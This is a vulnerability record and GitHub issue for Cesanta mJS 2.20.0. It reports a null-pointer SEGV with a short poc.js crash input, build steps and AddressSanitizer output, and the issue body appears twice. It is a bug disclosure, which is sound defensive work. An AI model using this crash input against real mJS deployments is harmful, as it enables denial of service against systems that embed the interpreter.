Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
let a = [];
for (let k = 0; k < 5; ++k) {
  a[gc(gc(JSON.stringify(gc('#1.1: -0 - -0 === 0. Actual: '))))](0, a[k]());
}
```
</code></pre>
</details>


###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==30781==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f716475ce1a bp 0x7ffee0cc88e0 sp 0x7ffee0cc8040 T0)
==30781==The signal is caused by a READ memory access.
==30781==Hint: address points to the zero page.
    #0 0x7f716475ce19  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19)
    #1 0x55af535c987a in getprop_builtin_array src/mjs_exec.c:476
    #2 0x55af535c987a in getprop_builtin src/mjs_exec.c:536
    #3 0x55af535c987a in mjs_execute src/mjs_exec.c:690
    #4 0x55af535d2a05 in mjs_exec_internal src/mjs_exec.c:1073
    #5 0x55af535d2a05 in mjs_exec_file src/mjs_exec.c:1096
    #6 0x55af5358f909 in main src/mjs_main.c:47
    #7 0x7f716412fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #8 0x55af53590449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19)
==30781==ABORTING
```

Credits: Found by OWL337 team.
SEGV (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19)
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19)
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
let a = [];
for (let k = 0; k < 5; ++k) {
  a[gc(gc(JSON.stringify(gc('#1.1: -0 - -0 === 0. Actual: '))))](0, a[k]());
}
```
</code></pre>
</details>


###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==30781==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f716475ce1a bp 0x7ffee0cc88e0 sp 0x7ffee0cc8040 T0)
==30781==The signal is caused by a READ memory access.
==30781==Hint: address points to the zero page.
    #0 0x7f716475ce19  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19)
    #1 0x55af535c987a in getprop_builtin_array src/mjs_exec.c:476
    #2 0x55af535c987a in getprop_builtin src/mjs_exec.c:536
    #3 0x55af535c987a in mjs_execute src/mjs_exec.c:690
    #4 0x55af535d2a05 in mjs_exec_internal src/mjs_exec.c:1073
    #5 0x55af535d2a05 in mjs_exec_file src/mjs_exec.c:1096
    #6 0x55af5358f909 in main src/mjs_main.c:47
    #7 0x7f716412fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #8 0x55af53590449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19)
==30781==ABORTING
```

Credits: Found by OWL337 team.
--- end body ---

comments :
--- start comments ---

--- end comments ---